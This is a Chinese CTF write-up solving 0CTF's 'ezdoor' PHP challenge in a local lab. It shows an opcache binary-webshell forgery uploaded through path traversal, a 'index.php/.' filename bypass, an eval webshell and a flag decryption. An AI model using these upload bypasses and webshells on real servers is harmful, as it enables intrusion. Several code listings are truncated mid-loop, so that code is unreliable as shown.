本文稿费300软妹币
砸个广告:各位在网络安全方面有新创作的小伙伴,快将你们的心得砸过来吧~
文章以word形式发至邮箱:
minwei.wang@dbappsecurity.com.cn
有偿投稿,记得留下你的姓名和联系方式哦~
-START-
今天闲来无事,准备总结一下0ctf的ezdoor这题,反正现在的web是不可能纯web了,怎么都得带着点bin,干脆就从这题开始我的webin之路吧(手动滑稽)
环境搭建
这次环境搭建就比较友好了
出题大哥已经公布源码了(默默给大哥打call)
https://github.com/LyleMi/My-CTF-Challenges
使用方式也很简单
git clone https://github.com/LyleMi/My-CTF-Challenges.git
然后到dockerfile的目录下
docker build -t 0ctf-ezdoor .
build完成后
docker run -dit -p 8585:80 --name 0ctf-ezdoor 0ctf-ezdoor
当然,如果Build处报错了,说不存在sandbox文件夹
可以在dockerfile里加一行
RUN mkdir /var/www/html/sandbox/
就可以解决啦
这次的环境搭建还算非常容易
然后访问
http://192.168.130.157:8585
即可看到题目
源码分析
代码不多,我直接全部给出了
error_reporting(0);
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
}
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
先看前几行
$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
if(!file_exists($dir . "index.php")){
touch($dir . "index.php");
}
程序会在sandbox下根据你的ip创建一个文件夹
然后再在刚刚创建的文件夹中创建index.php文件
接下来是一个功能
function clear($dir)
{
if(!is_dir($dir)){
unlink($dir);
return;
}
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
unlink($dir . $file);
}
rmdir($dir);
}
即clear功能,简单来说
就是删除文件夹内内容
再删除文件夹
然后是一个switch选项
switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'phpinfo':
echo file_get_contents("phpinfo.txt");
break;
case 'reset':
clear($dir);
break;
case 'time':
echo time();
break;
case 'upload':
if (!isset($_GET["name"]) || !isset($_FILES['file'])) {
break;
case 'shell':
ini_set("open_basedir", "/var/www/html/$dir:/var/www/html/flag");
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}
题目给出了6个选项:
1.打印你的路径
2.打印phpinfo信息
3.重置,即前面提到的clear功能,删除你的文件夹
4.时间,打印当前时间
5.上传,上传内容
6.shell包含,即包含你刚刚文件夹下的index.php文件
然后关于上传功能
if ($_FILES['file']['size'] > 100000) {
clear($dir);
break;
}
$name = $dir . $_GET["name"];
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
break;
}
move_uploaded_file($_FILES['file']['tmp_name'], $name);
$size = 0;
foreach (scandir($dir) as $file) {
if (in_array($file, [".", ".."])) {
continue;
}
$size += filesize($dir . $file);
}
if ($size > 100000) {
clear($dir);
}
break;
首先文件大小有限制,太大会触发clear功能清除文件夹
然后是对写入的文件名有限制,后缀中不可以出现h,这就意味着
php phtml phps...
等被过滤无法使用
然后利用move_uploaded_file移动文件
现在来看整个流程,不难读懂题目的意思
1.利用上传功能,覆盖index.php文件
2.利用shell包含功能,包含我们恶意覆盖的index.php文件
3.利用shell,根据flag文件路径进行读取
那么下面的思路就很明确了,如何覆盖index.php成为重中之重
预期解
01phpinfo突破口
既然题目给出了phpinfo,那么一定里面藏着一些提示
我们在浏览phpinfo的时候可以看见
opcache.enable => On => On
opcache服务是正常开启的,那么opcache是什么呢?
02opcache突破口
opcache是缓存文件,他的作用就类似于web项目中的静态文件的缓存, 比如我们加载一个网页, 浏览器会自动帮我们把jpg, css缓存起来, 唯独php没有缓存, 每次均需要open文件, 解析代码, 执行代码这一过程, 而opcache即可解决这个问题, 代码会被高速缓存起来, 提升访问速度。
那么为什么opcache可以导致我们进行文件覆盖呢?
我们设想A网站:
A网站的网页index.php具有缓存文件index.php.bin
而访问index.php的时候加载缓存index.php.bin
倘若这时候具有上传,我们可以覆盖index.php.bin
是不是就会加载我们的恶意文件了呢?
题目中虽然过滤php类型的结尾,但是却未过滤bin的结尾
03opcache文件构造思路
既然想要伪造opcache文件,就必须了解其规则问题
观察phpinfo我们可以发现如下信息
opcache.file_cache => /tmp/cache => /tmp/cache
不难发现opcache文件是保存在/tmp/cache目录下的
然后通过测试,我发现,实际目录是
/tmp/cache/system_id/.....
比如我以这题为例
我如果访问`/var/www/html/index.php文`件
则会生成opcache文件于
/tmp/cache/97d778899a99fd6d6a4b0b9e628322f5/var/www/html/index.php.bin
所以我们现在的目的也很明确了
构造一个
/tmp/cache/[system_id]/var/www/html/sandbox/[ip_remote_addr]/index.php.bin
即可
然后上传覆盖题目当前的空白的index.php.bin
即可达到恶意缓存覆盖,加载我们的index.php的目的
04opcache-system_id
第一个问题是如何生成与题目一致的system_id
这里有个工具可以帮到忙
https://github.com/GoSecure/php7-opcache-override
其中使用样例说的很细致
$ ./system_id_scraper.py info.html
PHP version : 7.0.4-7ubuntu2
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 81d80d78c6ef96b89afaadc7ffc5d7ea
即可生成system_id
这里我们去phpinfo搜集对应信息
PHP version : 7.0.28
Zend Extension ID : API320151012,NTS
Zend Bin ID : BIN_SIZEOF_CHAR48888
Assuming x86_64 architecture
------------
System ID : 7badddeddbd076fe8352e80d8ddf3e73
然后利用脚本即可轻松得到system_id
05opcache文件生成
生成方式也很简单
用一个同样配置,同样php版本的相同环境
然后在相同目录下放置我们想要的php内容
php
echo '666';
?>
然后去访问该文件,即可在opcache目录下获得对应的缓存文件
知道了方法,我们先去看一下当前路径
http://192.168.130.157:8585/?action=pwd
可以获得
sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/
然后我们去自己搭建的环境中创建相同文件夹
然后放入index.php,访问,即可获得相应的opcache文件,即
index.php.bin
06opcache-timestamp
这里还有一个问题,即opcache还有一个时间戳
在phpinfo里可以看见开启
opcache.validate_timestamps => On => On
相关的bypass方法,在这篇文章里已经有所提及
http://gosecure.net/2016/04/27/binary-webshell-through-opcache-in-php-7/
即获取到文件创建时的timestamp,然后写到cache的bin里面。
操作方法如下
import requests
print requests.get('http://192.168.130.157:8585/index.php?action=time').content
print requests.get('http://192.168.130.157:8585/index.php?action=reset').content
print requests.get('http://192.168.130.157:8585/index.php?action=time').content
然后我们修改opcache文件`index.php.bin`的数据
system_id
timestamps
两项,为我们之前预测出来的值即可
07opcache-文件上传
然后我们构造上传路径
../../../../../tmp/cache/7badddeddbd076fe8352e80d8ddf3e73/var/www/html/sandbox/0cd79defd641ed75ffd8f450d5bc047b37c0bb85/index.php.bin
然后构造html表单
html
上传后再访问
http://192.168.130.157:8585/index.php?action=shell
发现文件覆盖包含成功,页面打印666
非预期解
01'./'bypass
首先什么是`/.`
这是一种bypass手法
例如index.php/.
这样的文件名去绕过检测
我们不妨测试
$name = 'index.php';
if (preg_match("/[^a-zA-Z0-9.\/]/", $name) ||
stristr(pathinfo($name)["extension"], "h")) {
echo "fuck";
}
?>
此时运行打印fuck,而如果使用index.php/.
则可以成功绕过
02'/.'原理分析
这里要从wonderkun师傅的博客说起
http://wonderkun.cc/index.html/?p=626
wonderkun师傅已经在文章中做了详细的阐述
其中php在文件路径处理上的底层关键代码函数tsrm_realpath()
c
i = len;
// i的初始值为字符串的长度
while (i > start && !IS_SLASH(path[i-1])) {
i--;
// 把i定位到第一个/的后面
}
if (i == len ||
(i == len - 1 && path[i] == '.')) {
len = i - 1;
// 删除路径中最后的 /. , 也就是 /path/test.php/. 会变为 /path/test.php
is_dir = 1;
continue;
} else if (i == len - 2 && path[i] == '.' && path[i+1] == '.') {
//删除路径结尾的 /..
is_dir = 1;
if (link_is_dir) {
*link_is_dir = 1;
}
if (i - 1
return start ? start : len;
}
j = tsrm_realpath_r(path, start, i-1, ll, t, use_realpath, 1, NULL TSRMLS_CC);
// 进行递归调用的时候,这里把strlen设置为了i-1,
php在做路径处理的时候,会递归的删除掉路径中存在的/.,所以会导致写入文件成功。
即导致我们上传的文件名为index.php/.
经过php的文件路径处理,我们不但bypass成功,上传的文件名依旧为index.php
但是wonderkun师傅同时也在博客中提及
虽然`/.`可以bypass过滤上传成功,但是无法进行文件覆盖
关键原因师傅也提及的很明确了
这里同样摘录引用
1077 if (save && php_sys_lstat(path, &st)
1078 if (use_realpath == CWD_REALPATH) {
1079 /* file not found */
1080 return -1;
1081 }
1082 /* continue resolution anyway but don't save result in the cache */
1083 save = 0;
1084 }
c
1120 if (save) {
1121 directory = S_ISDIR(st.st_mode);
1122 if (link_is_dir) {
1123 *link_is_dir = directory;
1124 }
1125 if (is_dir && !directory) {
1125 /* not a directory */
1127 free_alloca(tmp, use_heap);
1128 return -1;
1129 }
1130 }
`php_sys_lstat`是一个宏定义,其实是系统函数`lstat`,主要功能是获取文件的描述信息存入st结构体中,由于上面分析会删除掉路径中的`/.`,所以调用时传入的`path=/Users/wonderkun/script/php-src/sapi/cli/./index.php`
当第一次执行时不存在index.php文件,函数`php_sys_lstat`返回-1,所以第1083行会被执行,重置save为0,所以1120-1130行都没有被执行。
当第二次执行,覆盖老文件的时候,`/Users/wonderkun/script/php-src/sapi/cli/./index.php`已经是一个存在的文件了,所以`php_sys_lstat`返回0,st中存储的是一个文件的信息,save还是1,导致1120-1130行被执行。由于之前php认为`/Users/wonderkun/script/php-src/sapi/cli/./index.php/.`是一个目录(is_dir是1),现在有获取到`/Users/wonderkun/script/php-src/sapi/cli/./index.php`是一个文件,所以`is_dir && !directory`为true,函数返回了-1,得到的路径长度出错,所以无法覆盖老文件。
那么问题来了,虽然`index.php/.`可以成功上传并且Bypass过滤,但是无法覆盖已经存在的空白文件`index.php`这该怎么办呢?
03神奇的move_uploaded_file()
当时比赛的时候,我使用的payload为
sky/../index.php/.
当时简单的认为应该是`move_uploaded_file()`遇到前面不存在的文件夹而存在问题导致不存在的文件夹
sky
成为类似于跳板的东西,导致我们的
index.php/.
成功覆盖`index.php`
而如果直接使用
/index.php/.
是不能够覆盖成功的,原因前面已经提及
但是后来看见pupiles师傅的一篇文章(下文已给出链接),发现`move_uploaded_file()`与`index.php/.`的成功覆盖并不是我想的那么容易,这还是要从底层说起:
关于`move_uploaded_file()`的底层实现的关键代码
c
if (VCWD_RENAME(path, new_path) == 0) {
successful = 1;
} else if (php_copy_file_ex(path, new_path, STREAM_DISABLE_OPEN_BASEDIR) == SUCCESS) {
VCWD_UNLINK(path);
successful = 1;
}
这里并未使用之前提及的tsrm_realpath()函数,并且如果文件已经存在的话,就不会再打开文件,于是php_sys_lstat会返回0。
而当时我们覆盖失败的原因正是因为
/Users/wonderkun/script/php-src/sapi/cli/./index.php
已经是一个存在的文件了,所以`php_sys_lstat`返回0
但是如果这个时候我们如果使用
sky/../index.php/.
即带有不存在文件夹的路径
那么在判断时也就不会判定存在该文件,所以此时`php_sys_lstat`返回的是-1,最后也导致了成功的覆盖了文件
当然我这里也只是简单的概述,若想要深入探究,可以阅读这两篇文章
http://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html
https://blog.zsxsoft.com/post/36
默默给两位大哥打call
04payload
所以最后我们简单使用payload
skysky/../index.php/.
然后构造表单
上传数据内容为
echo '666';
上传后再访问
http://192.168.130.157:8585/index.php?action=shell
发现文件覆盖包含成功,页面打印666
从shell到获取flag文件
index.php文件覆盖成功后,我们又遇到了新的问题
比如我们写如下shell
@eval($_POST['sky']);
?>
会发现包含后完全不起作用
这时候意识到题目做了许多过滤
一些类似系统命令的指令都被禁止了
随后发现部分php函数还在
var_dump()
scandir()
等
于是构造出Payload
var_dump(scandir('/var/www/html/flag'));
?>
可以发现flag文件夹下的文件
93f4c28c0cf0b07dfd7012dca2cb868cc0228cad
本以为到此结束了,读取文件后发现竟然又是个opcache文件
故此我们顺利得到flag.php.bin
强行反编译
拿到题目后,首先发现opcache文件头有点问题,少了一个00
补上后继续利用工具
https://github.com/GoSecure/php7-opcache-override
进行反编译
首先按照库依赖
pip install construct==2.8.22
pip install treelib
pip install termcolor
这里需要注意一下construct的版本,否则会报错
然后利用工具进行反编译,操作如下
./opcache_disassembler.py -c -a64 flag.php.bin
然后得到反编译后的文件
function encrypt() {
#0 !0 = RECV(None, None);
#1 !0 = RECV(None, None);
#2 DO_FCALL_BY_NAME(None, 'mt_srand');
#3 SEND_VAL(1337, None);
#4 (129)?(None, None);
#5 ASSIGN(!0, '');
#6 (121)?(!0, None);
#7 ASSIGN(None, None);
#8 (121)?(!0, None);
#9 ASSIGN(None, None);
#10 ASSIGN(None, 0);
#11 JMP(->-24, None);
#12 DO_FCALL_BY_NAME(None, 'chr');
#13 DO_FCALL_BY_NAME(None, 'ord');
#14 FETCH_DIM_R(!0, None);
#15 (117)?(None, None);
#16 (129)?(None, None);
#17 DO_FCALL_BY_NAME(None, 'ord');
#18 MOD(None, None);
#19 FETCH_DIM_R(!0, None);
#20 (117)?(None, None);
#21 (129)?(None, None);
#22 BW_XOR(None, None);
#23 DO_FCALL_BY_NAME(None, 'mt_rand');
#24 SEND_VAL(0, None);
#25 SEND_VAL(255, None);
#26 (129)?(None, None);
#27 BW_XOR(None, None);
#28 SEND_VAL(None, None);
#29 (129)?(None, None);
#30 ASSIGN_CONCAT(!0, None);
#31 PRE_INC(None, None);
#32 IS_SMALLER(None, None);
#33 JMPNZ(None, ->134217662);
#34 DO_FCALL_BY_NAME(None, 'encode');
#35 (117)?(!0, None);
#36 (130)?(None, None);
#37 RETURN(None, None);
}
function encode() {
#0 RECV(None, None);
#1 ASSIGN(None, '');
#2 ASSIGN(None, 0);
#3 JMP(->-81, None);
#4 DO_FCALL_BY_NAME(None, 'dechex');
#5 DO_FCALL_BY_NAME(None, 'ord');
#6 FETCH_DIM_R(None, None);
#7 (117)?(None, None);
#8 (129)?(None, None);
#9 (117)?(None, None);
#10 (129)?(None, None);
#11 ASSIGN(None, None);
#12 (121)?(None, None);
#13 IS_EQUAL(None, 1);
#14 JMPZ(None, ->-94);
#15 CONCAT('0', None);
#16 ASSIGN_CONCAT(None, None);
#17 JMP(->-96, None);
#18 ASSIGN_CONCAT(None, None);
#19 PRE_INC(None, None);
#20 (121)?(None, None);
#21 IS_SMALLER(None, None);
#22 JMPNZ(None, ->134217612);
#23 RETURN(None, None);
}
#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);
详细可以参考
OPCode详解及汇编与反汇编原理,链接如下:
https://blog.csdn.net/sqzxwq/article/details/47786345
这里就不一步一步逆向了。。。毕竟我还是个web选手
最后给出逆向后的官方代码
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return encode($cipher);
}
$flag = "input_your_flag_here";
if(encrypt("this_is_a_very_secret_key", $flag) === "85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab") {
echo "Congratulation! You got it!";
} else {
echo "Wrong Answer";
}
exit();
发现是个加密题
解密获得flag
我们研读加密函数encrypt()
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return encode($cipher);
}
发现关键点有2个
1.mt_srand(1337)
2.xor加密
然后跟进encode()函数
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
发现只是用来保证16进制是2位的,比如
我们测试
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
var_dump($tmp);
}
打印出来
string(2) "56"
string(2) "3a"
string(2) "c5"
string(1) "9"
string(2) "51"
可以看到第4个是"1"
所以需要在前面加个0,变成"01"
所以重点还是在于encrypt()函数
关注到之前的xor运算
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
这里的`$pwd`为
this_is_a_very_secret_key
而`$data`为我们想要的值
此时我们有`$cipher`
我们知道xor运算是可逆的
比如
$cipher[$i] = chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
我们可以得到
chr(ord($data[$i]) = $cipher[$i] ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
故此可以拿到flag,所以只需要把密文当做明文,再进行一次encrypt()即可获得flag
我们测试
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
// return base64_encode($cipher);
return encode($cipher);
}
$test = "flag";
echo encrypt("this_is_a_very_secret_key", $test);
得到密文
af8b20dc63d3349af9563a8f
我们尝试解密
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
// return base64_encode($cipher);
return $cipher;
}
function hex2String($hex)
{
$string = '';
for($i=0;$i
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
$res = hex2String('af8b20dc63d3349af9563a8f');
echo encrypt("this_is_a_very_secret_key", $res);
运行即可得到结果
flag
验证了解密思路无误后,开始解密题目
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return $cipher;
}
$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';
function hex2String($hex)
{
$string = '';
for($i=0;$i
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
$res = hex2String($flag);
echo encrypt("this_is_a_very_secret_key", $res);
结果发现结果得到的是乱码
后来题目给出提示
环境是php7.2,而我是php7.0
故此可能
mt_srand(1337);
种子产生影响而导致解密失败,于是安装php7.2
考虑到繁琐性,我这里使用docker
docker search php7.2
得到回显
skiychan/nginx-php7 nginx-php7.2 for docker
很明显这个还不错,我们选择拉取
docker pull skiychan/nginx-php7
然后运行
docker run -dit -p 11111:80 skiychan/nginx-php7
然后进入
docker exec -it 9279 /bin/bash
然后进入
/data/www
修改Index.php为
php
function encode($string){
$hex='';
for ($i=0; $i
$tmp = dechex(ord($string[$i]));
if(strlen($tmp) == 1){
$hex .= "0" . $tmp;
}else{
$hex .= $tmp;
}
}
return $hex;
}
function encrypt($pwd, $data){
mt_srand(1337);
$cipher = "";
$pwd_length = strlen($pwd);
$data_length = strlen($data);
for ($i = 0; $i
$cipher .= chr(ord($data[$i]) ^ ord($pwd[$i % $pwd_length]) ^ mt_rand(0, 255));
}
return $cipher;
}
$flag = '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab';
function hex2String($hex)
{
$string = '';
for($i=0;$i
{
$string .= chr(hexdec($hex[$i].$hex[$i+1]));
}
return $string;
}
$res = hex2String($flag);
echo encrypt("this_is_a_very_secret_key", $res);
访问
http://192.168.130.157:11111/
得到flag
领取专属 10元无门槛券
私享最新 技术干货